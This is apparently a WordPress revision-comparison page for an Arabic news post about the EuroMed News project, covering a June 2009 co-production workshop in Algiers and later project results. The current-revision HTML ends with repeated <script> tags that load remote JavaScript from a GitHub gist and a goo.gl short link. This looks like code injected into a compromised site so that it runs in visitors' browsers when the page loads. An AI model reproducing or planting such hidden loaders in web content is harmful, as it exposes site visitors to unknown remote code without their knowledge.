You are viewing an old revision of this post, from May 28, 2010 @ 12:04:49. See below for differences between this version and the current revision.
ورشة عمل للإنتاج المشترك لمجلات يورومادنيوز
الجزائر ، 13-19 يونيو2009
انعقدت ورشة العمل متعددة الثقافات لإنتاج مجلة يوروما دنيوزفي الجزائر من 13 إلى 19 يونيو2009 بمشاركة رؤساء التحرير وصحفيين من أربعة أعضاء
في الرابطة والشركاء الثانويين (التلفزيون الجزائري -EPTV , الإذاعة و التلفزيون الأردني -JRTV , التلفزيون اللبناني –TL, التلفزيونالسوري - ORTAS).
اختار المشاركون اثنى عشر من بين عشرين موضوعا تم اقتراحها و التي ستبرز على قائمة المجلات الأربعة , بالمفروض ثلاثة قصص الصحفية لكل نشر ومجلة مكرسة للمراءة فقط.
نظمت ورشة العمل و تفرعت إلى أربعة جلسات فرعية تحت قيادة رؤساء التحرير وبمساعدة مركبين الأجِهزة التصّورية للتلفزيون الجزائري. في نفس الوقت, وأنجز شاب من التلفزيون الجزائري مكلف بالجرافيك العناوين و الأناشيد والموسيقى التي ترافق المجلة
حضر المشاركون, يوم الأربعاء 17 يونيو, مؤتمرا هاتفيا مع كريستال لوكاس بمقر مندوبية اللجنة الأروبية في الجزائر وتحدثوا طويلا معها عن محتوئ المجلات المنتجة بصفة مشتركة و عن ظروف العمل في مختلف البلدان و العلاقات بين المفوضيات الأوروبية في كل بلد.
انتهت الورشة يوم 18 يونيو عندما التقى المشاركون الأستاذ عبدلقادر العلمي, المدير العام للتلفزيون الجزائري ولقد حثهم على ممارسة مهنتم الصحفية بمهارة و ذلك خاصة في إطار مشروع يوروماد نيوز الذي يتيح فرصة هامة لإبراز التطورات والتقدم التي حققتها بلدان جنوب البحر الأبيض المتوسط و لتعزيز الحوار بين الثقافات مع الدول المجاورة في إطار مبني على الاحترام والتسامح المتبادل.
تنظيم ورشة العمل للإنتاج المشترك متعددة الثقافات و لمحتوى المجلات الأربعة.
المجلة الأولى: عامة
رئيس التحرير: رباب الضحك (ORTAS)
مقدمة الأخبار: جميلة العموري(EPTV)
- المساعدات الإنسانية لشعب غزة (JRTV)
- تقسيم مدينة دمشق إلى مناطق سياحية (ORTAS)
- ترميم كنيسة السيدة الإفرقية في الجزائر (EPTV)
المجلة الثانية عامة
رئيس التحرير: دينة رامضان(TL)
مقدمة الأخبار: دينة رامضان(TL)
التحقيق الصحفي:
التحقيق الصحفي:
- ترميم دير في سوريا (ORTAS)
- المساعدات إلى مستشفى الأهلي في الجولان وفلسطين (JRTV)
- الاسثتمارات الصغيرة للنساء الريفيات لاستخدام نسج السجاد (EPTV)
المجلة الثالثة عامة
رئيس التحرير: نيداء راوبدح
المقدمة:عبير الزابن
المقدمة:عبير الزابن
- اتفاقية الشراكة بين الجزائر و الإتحاد ألروبي/ التوأمة/ Taiex (EPTV)
- إصلاح النظام التعليمي في الأردن (JRTV)
- تدريب أمهات البديلة لدور الأيتام في سوريا (ORTAS)
المجلة الربعة موضوع المرأة
رئيس التحرير:عمار حالس (EPTV)
المقدمة: علاء ابراهيم (ORTAS)
المقدمة: علاء ابراهيم (ORTAS)
التحقيق الصحفي:
- صمم موقع على شيكة الانترنت لتثحسيس الطلاب حول الحقوقهم المدنية (EPTV)
- تصوير لامرأة أنجزت آلة للمعاقين الحركيين (JRTV)
- تصوير لامرأة التي حصلت على تمويل لمشروع يخص المؤسسات الصغيرة والمتوسطة الحجم (ORTAS)
Changes:
| May 28, 2010 @ 12:04:49 | Current Revision | ||
|---|---|---|---|
| Title | |||
| ورشة عمل للإنتاج المشترك لمجلات يورومادن | يوروميد- نيوز : فلسفة، مشروع، فريق | ||
| Content | |||
|---|---|---|---|
| <p style="text-align: right;"></p> | |||
| <div align="right"><b><span dir="rtl">فلسفة< /span></b><span dir="rtl">. &quot;إعلام شعوب بلدان جنوب المتوسط بالأعمال التي يساندها الاتحاد الأوروبي لصالح منطقة الجوار، في إطار الحوار القائم بين الثقافات على الضفتين.&quot; تلك هي مهمة تجمع يوروميد- نيوز</span></div> | |||
| <div align="right"></div> | |||
| <div align="right"><b><span dir="rtl">مشروع.< /span></b><span dir="rtl"> المكوَن من هيئاتٍ دولية (اتحاد إذاعات الدول العربية، والكوبيام والاتحاد الأوروبي للبث الإذاعي والتلفزيوني) و وهيئاتٍ إذاعيةٍ عمومية (المؤسسة العمومية للتلفزيون بالجزائر،مؤسسة التلفزيون الفرنسي، ومؤسسة الإذاعة والتلفزيون الأردنية، الهيئة العامة لإذاعات الجماهيرية الليبية بالاشتراك مع الهيئة العامة للإذاعة والتلفزيون بسوري،وتلفزيون لبنان، والشركة الوطنية للإذاعة والتلفزة بالمغرب)، يهدف تجمع يوروميد-نيوز إلى:</span> | |||
| <span dir="rtl">إعلام الجمهور الواسع للشراكة الأورو- متوسطية؛- | |||
| <span dir="rtl">تسهيل تغطية وبث الأخبار الأورو- متوسطية من جانب هيئات الإذاعة والتلفزة ببلدان الجنوب مع مراعاة حقهم في التحرير؛</span>- | |||
| <span dir="rtl">تنشيط الحوار والمعرفة المتبادلة بين شعوب ضفتي المتوسط؛</span>- | |||
| <span dir="rtl">الإفصاح عن أهداف ووسائل ونتائج سياسة الجوار الأوروبية؛</span>- | |||
| <span dir="rtl">تشجيع التنوع الثقافي والمساواة بين الرجال والنساء؛</span>- | |||
| <span dir="rtl">تبني تدريب الصحفيين. </span>-</span></div> | |||
| <div align="right"></div> | |||
| <div style="margin: 5pt 0cm;" align="right"><b><span dir="rtl">فريق< /span></b><span dir="rtl">. بالاشتراك مع الاتحاد الأوروبي، يكون مدير مشروع يوروميد- نيوز هو مؤسسة التلفزيون الفرنسي والمنسق العام هو الكوبيام. والمشرف على الخط التحريري والخيارات التحريرية هو اتحاد إذاعات الدول العربيةمع الاتحاد الأوروبي للبث الإذاعي والتلفزيوني. أما تنسيق تبادل الأخبار الأورو- متوسطية عبر الشبكة المتوسطية للتبادل الإخباري فتتولاه المؤسسة العمومية للتلفزيون بالجزائر بالتعاون مع رئاسة التحرير في اتحاد إذاعات الدول العربية و والاتحاد الأوروبي للبث الإذاعي والتلفزيوني.< /span></div> | |||
| <div style="margin: 5pt 0cm;" align="right"><span dir="rtl">وستقوم بإنتاج أخبار ومجلات ووثائقيات يوروميد-نيوز: المؤسسة العمومية للتلفزيون بالجزائر، ومؤسسة الإذاعة والتلفزيون الأردنية والهيئة العامة لإذاعات الجماهيرية الليبية، والهيئة العامة للإذاعة والتلفزيون بسوريا، ، والشركة الوطنية للإذاعة والتلفزة بالمغرب وتلفزيون لبنان. </span></div> | |||
| <div style="margin: 5pt 0cm;" align="right"></div> | |||
| <div style="margin: 5pt 0cm;" align="right" ><strong><span style="font-size: 14px;">أبرز الأخبار< /span></strong></div> | |||
| <div style="margin: 5pt 0cm;" align="right"> | |||
| <p align="right" ><strong><span dir="rtl">يوروميد -نيوز : النتائج والأفاق< /span></strong></p> | |||
| <p align="right"><em><span dir="rtl">روما، 17 فبراير 2011</span></em></p> | |||
| <p align="right"><span dir="rtl">انته</span><span dir="rtl">ى</span><span dir="rtl">مشروع</span><span dir="rtl"> يوروميد نيوز بنجاح يوم 31 ديسمبر 2010. خلال 24 شهرا، تعاونت ست تلفزيونات عمومية في الضفة الجنوبية للبحر الأبيض المتوسط لإنتاج 300 خبرا، 40 مجلة و 9 أفلام وثائقية متمحورة حول النشاطات التي قام بها الاتحاد</span><span dir="rtl">.</ span>ENPI<span dir="rtl">الأوروبي</span><span dir="rtl"> في بلدان الجنوب</span></p> | |||
| <p align="right"><span dir="rtl">وقد كان يوروميد - نيوز خطوة حاسمة للقطاع السمعي البصري في المنطقة:</span></p> | |||
| <p dir="rtl">تعاونت غرف الأخبار المشاركة في المشروع بشكل مستمر وفعال ، وذلك باستخدام تقنيات ومعايير مشتركة واحترام متبادللحريةالتحرير.</p> | |||
| <p dir="rtl">وكما قالسابقا أعضاء رابطة يوروميد - نيوز أثناء المؤتمر الصحفي في تونس، فإن أفضل الممارسات المكتسبة في إطار المشروع ستكون أساسا لاتخاذ مبادرات جديدة تهدف الى ديمومة الأهداف التي تم تحقيقها.</p> | |||
| <p dir="rtl">وسيتم ذلك، على وجه الخصوص ، من خلال أنشطة تشجع نقل الخبرات -- انتشار وتبادل المعلومات و تناول المواضيع المتعلقة بالمساواة بين الجنسين على شاشة التلفزيون &ndash; وهي موجهة إلى المهنيين من اللتلفزيونات المنتمية الإلى الكوبيام،و اتحاد إذاعات الدول العربية و اتحاد الاذاعات الأوروبية.</p> | |||
| <p dir="rtl">كانت هذه المواضيع موضع النقاش أثناء المؤتمر الصحفي الختامي للمشروع بعنوان &quot;يوروميد نيوز:بحر أبيض متوسطآخر ممكن& quot;المنظم من قبل الكوبيام بمشاركة الوكالة الصحفية الإيطالية و ممثلية المفوضية الأوروبية في رومااليوم 17 فبراير2011.</p> | |||
| <p dir="rtl">وبهذه المناسبة، قدم التلفزيون الفرنسي و اتحاد إذاعات الدول العربية و اتحاد الاذاعات الأوروبية و الكوبيام والمنتج التنفيذي أهداف المشروعونتائجه وتوقعاته.</p> | |||
| <p dir="rtl">هذا المشروع يكتسب أهمية متزايدة في ضوء الأحداث الأخيرة التي هزت منطقة البحر الأبيض المتوسط.</p> | |||
| </div> | |||
| <div style="margin: 5pt 0cm;" align="right"> | |||
| <p align="right" ><strong><span dir="rtl">اجتماع التنسيق و المؤتمر الصحفي </span></strong></p> | |||
| <p align="right">عمان، 6 -7يوليو 2010</p> | |||
| <p align="right"><span dir="rtl">استضاف التلفزيون الأردني في عمان اجتماع التنسيق الأخير لمجموعة يوروميد- نيوز في اليومين 6- 7 يوليو 2010.</span></p> | |||
| <p align="right"><span dir="rtl">مثل الاجتماع </span><span dir="rtl">فرصة</span><span dir="rtl">ل</span><span dir="rtl">تقييم</span><span dir="rtl"> الأنشطة الكلية التي نفذت حتى ذلك التاريخ و النتائج الناجحة المتعلقة بها. </span></p> | |||
| <p align="right"><span dir="rtl">أثناء المؤتمر الصحفي التابع، قد عرضت بعض مقاطع للأفلام الوثائقية المنتوجة ضمن يوروميد- نيوز إلى الصحفيين الحاضرين.</span></p> | |||
| </div> | |||
| <div style="margin: 5pt 0cm;" align="right"></div> | |||
| <div style="margin: 5pt 0cm;" align="right"><a href="http:// www.euromed-news.org/">أضغط هنالعرضمنتوجات المشروع</a><a href="http:// www.euromed-news.org/">ي< /a>وروميد- نيوز</div> | |||
| <div style="margin: 5pt 0cm;" align="right"><a href="http:// www.copeam.org/UserFiles/ File/Projects/ 66_Dossier%20AR%20euromed.pdf">أنظر إلى الملف للصحافة</a></div> | |||
| <div style="margin: 5pt 0cm;" align="right"></div> | |||
| <div style="margin: 5pt 0cm;" align="right"> | |||
| <p align="right" ><strong><span dir="rtl">الدورة التدريبية </span></strong> <strong><span dir="rtl">على< /span></strong> <strong><span dir="rtl">علبة< /span></strong> <strong><span dir="rtl"> أدوات </span></strong> <strong><span dir="rtl">من أجل دراسة تحليلية لصورة المرأة في مجموعة من التلفزيونات الأوروبية. </span></strong></p> | |||
| <p align="right">عمان، 6يوليو 2010</p> | |||
| <p align="right"><span dir="rtl">التغلب على الصور النمطية عن المرأة و انتشار إلى الأخبار الكاملة و المتوازنة،هماموضعي النقاش للصحفيين المشتركين في مشروع </span><span dir="rtl">يوروميد- نيوز </span><span dir="rtl">الذين</span><span dir="rtl">دُعُوا</span><span dir="rtl"> في مناسبة الدورة التدريبية المكرسة إلى علبة أدوات من أجل دراسة تحليلية لصورة المرأة في مجموعة من التلفزيونات الأوروبية. </span></p> | |||
| <p style="text-align: right"></p> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><b>و رشة عمل لل إن تاج ال مش ترك لم جل ات </b><span><strong> <span>ي ور وم اد ني و</span> </strong></span> <span><strong> <span>ز </span></strong> </span><span dir="ltr"><br /> < /span></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ا لج زا ئر ، 13-19 يو ني و2009< /div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <div align="right"><span dir="rtl">ا نع قدت ور شة ال عمل مت عد دة ال ثق اف ات لإ نت اج مج لة </span><strong><span dir="rtl" style="font-weight: normal">ي ور وما دن يو ز</span> </strong><span dir="rtl">في ال جز ائر من 13 إلى 19 يو نيو2009 بم شا ركة رؤ ساء ال تح رير وص حف يين من أر بعة أع ضا ء</span> </div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><span dir="ltr"></span><span style="font-size: 10pt">ف ي</span> ال را بطة وا لش رك اء ال ثا نو يين (ال تل فز يون ال جز ائ ري -<span dir="ltr">EPTV </span>, ال إذ اعة و ال تل فز يون ال أر دني -<span dir="ltr">JRTV</span> , ال تل فز يون ال لب نا ني &ndash;<span dir="ltr">TL</span>, ال تل فز يو نا لس وري - <span dir="ltr">ORTAS< /span>).</div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ا خت ار ال مش ار كون اث نى عشر من بين عش رين مو ضو عا تم اق تر اح ها و ال تي ست برز على قا ئمة ال مج لات ال أر بعة , با لم فر وض ثل اثة <a href="http:// dictionnaire.sensagent.com/ %D8%AA%D8%AD%D9%82%D9%8A%D9%82%20%D8%A7%D9%84%D8%B5%D8%AD%D9%81%D9%8A/ ar-ar/"><span style="color: windowtext; text-decoration: none; text-underline: none">ق صص ال صح في </span></a>ة لكل نشر وم جلة مك رسة لل مر اءة فق ط.</div> <div align="right" ></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ن ظمت ور شة ال عمل و تف رعت إلى أر بعة جل سات فر عية تحت قي ادة رؤ ساء ال تح رير وب مس اع دة مر كب ين ال أج ِه زة ال تص ّو رية لل تل فز يون ال جز ائ ري. في نفس ال وقت, وأ نجز شاب من ال تل فز يون ال جز ائ ري مك لف با لج را فيك ال عن او ين و ال أن اش يد وا لم وس يقى ال تي تر افق ال مج لة </div> <div align="right" ></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ح ضر ال مش ار كون, يوم ال أر بع اء 17 يو نيو, مؤ تم را ها تف يا مع كر يس تال لو كاس بم قر من دو بية ال لج نة ال أر وب ية في ال جز ائر وت حد ثوا طو يلا مع ها عن مح توئ ال مج لات ال من تجة بص فة مش تر كة و عن ظر وف ال عمل في مخ تلف ال بل دان و ال عل اق ات بين ال مف وض يات ال أو رو بية في كل بلد. </div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><strong> </strong></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><strong><span style="font-weight: normal">ا نت هت ال ور شة يوم 18 </span></strong> يو نيو عن دما ال تقى ال مش ار كون ال أس تاذ عب دل قا در ال عل مي, ال مد ير ال عام لل تل فز يون ال جز ائ ري ول قد حث هم على مم ار سة مه نتم ال صح فية بم ها رة و ذلك خا صة في إط ار مش روع يو رو ماد ني وز ال ذي يت يح فر صة ها مة لإ بر از ال تط ور ات وا لت قدم ال تي حق قت ها بل دان جن وب ال بحر ال أب يض ال مت وسط و لت عز يز ال حو ار بين ال ثق اف ات مع ال دول ال مج او رة في إط ار مب ني على ال اح تر ام وا لت سا مح ال مت با دل<span dir="ltr">.</ span></div> <div> <strong></strong> </div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ت نظ يم ور شة ال عمل لل إن تاج ال مش ترك مت عد دة ال ثق اف ات و لم حت وى ال مج لات ال أر بع ة.<span dir="ltr"><br /> <br /> < /span></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><em><b><span style="font-style: normal">ا لم جلة ال أو لى: عا مة</span></b> </em></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ر ئيس ال تح رير: رب اب ال ضحك <span dir="ltr">(ORTAS) </span></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><span> مق دمة ال أخ با ر</span>: جم يلة ال عم ور ي<span dir="ltr">(EPTV) </span></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><a href="http:// dictionnaire.sensagent.com/ %D8%AA%D8%AD%D9%82%D9%8A%D9%82%20%D8%A7%D9%84%D8%B5%D8%AD%D9%81%D9%8A/ ar-ar/"><span style="color: windowtext; text-decoration: none; text-underline: none">ت حق يق ال صح في </span></a>:< /div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <ol type="1" style="margin-top: 0cm"> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ا لم سا عد ات ال إن سا نية لش عب غزة <span dir="ltr">(JRTV) </span></li> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ت قس يم مد ينة دم شق إلى من اطق سي اح ية <span dir="ltr">(ORTAS) </span></li> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ت رم يم كن يسة ال سي دة ال إف رق ية في ال جز ائر <span dir="ltr">(EPTV) </span></li> </ol> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><em><b><span style="font-style: normal">ا لم جلة ال ثا نية عا مة </span></b></em><span dir="ltr"><br /> <br /> < /span></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ر ئيس ال تح رير: دي نة را مض ان<span dir="ltr">(TL) </span></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">م قد مة ال أخ بار: دي نة را مض ان<span dir="ltr">(TL)<br /> <br /> < /span>ال<a href="http:// dictionnaire.sensagent.com/ %D8%AA%D8%AD%D9%82%D9%8A%D9%82%20%D8%A7%D9%84%D8%B5%D8%AD%D9%81%D9%8A/ ar-ar/"><span style="color: windowtext; text-decoration: none; text-underline: none">ت حق يق ال صح في </span></a>:< /div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <ol type="1" style="margin-top: 0cm"> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ت رم يم دير في سو ريا <span dir="ltr">(ORTAS) </span></li> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ا لم سا عد ات إلى مس تش فى ال أه لي في ال جو لان وف لس طين <span dir="ltr">(JRTV) </span></li> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ا لا سث تم ار ات ال صغ يرة لل نس اء ال ري في ات لا ست خد ام نسج ال سج اد <span dir="ltr">(EPTV) </span></li> </ol> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><em><b><span style="font-style: normal">ا لم جلة ال ثا لثة عا مة</span></b> </em></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ر ئيس ال تح رير: ني داء را وب دح<span dir="ltr"><br /> < /span>ا لم قد مة :عب ير ال زا بن </div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ل<a href="http:// dictionnaire.sensagent.com/ %D8%AA%D8%AD%D9%82%D9%8A%D9%82%20%D8%A7%D9%84%D8%B5%D8%AD%D9%81%D9%8A/ ar-ar/"><span style="color: windowtext; text-decoration: none; text-underline: none">ت حق يق ال صح في </span></a>:<span dir="ltr"><br /> <br /> < /span></div> <ol type="1" style="margin-top: 0cm"> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ا تف اق ية ال شر اكة بين ال جز ائر و ال إت حاد أل رو بي<span dir="ltr">/</span> ال تو أم ة<span dir="ltr">/</span> <span dir="ltr">Taiex</span> <span dir="ltr">(EPTV) </span></li> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">إ صل اح ال نظ ام ال تع لي مي في ال أر دن <span dir="ltr">(JRTV) </span></li> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ت در يب أم هات ال بد يلة لد ور ال أي تام في سو ريا <span dir="ltr">(ORTAS) </span></li> </ol> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"><em><b><span style="font-style: normal">ا لم جلة ال رب عة مو ضوع ال مر أة </span></b></ em></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ر ئيس ال تح ري ر:ع مار حا لس <span dir="ltr">(EPTV)<br /> < /span>ا لم قد مة: عل اء اب را هيم <span dir="ltr">(ORTAS) </span></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed">ال<a href="http:// dictionnaire.sensagent.com/ %D8%AA%D8%AD%D9%82%D9%8A%D9%82%20%D8%A7%D9%84%D8%B5%D8%AD%D9%81%D9%8A/ ar-ar/"><span style="color: windowtext; text-decoration: none; text-underline: none">ت حق يق ال صح في </span></a>:< /div> <div dir="rtl" style="direction: rtl; unicode-bidi: embed"></div> <ol type="1" style="margin-top: 0cm"> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ص مم مو قع على شي كة ال ان تر نت لت ثح سيس ال طل اب حول ال حق وق هم ال مد نية <span dir="ltr">(EPTV) </span></li> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ت صو ير لا مر أة أن جزت آلة لل مع اق ين ال حر كي ين <span dir="ltr">(JRTV) </span></li> <li dir="rtl" style="margin: 0cm 36pt 0pt 0cm; direction: rtl; unicode-bidi: embed; text-align: right">ت صو ير لا مر أة ال تي حص لت على تم ويل لم شر وع يخص ال مؤ سس ات ال صغ يرة وا لم تو سطة ال حجم <span dir="ltr">(ORTAS) </span></li> </ol> <p></p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <a href="http:// www.copeam.org/ pag.aspx?ln= en&amp;id= 176">لمزيد من المعلومات</a></div> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | ||
Note: Spaces may be added to comparison text to allow better line wrapping.
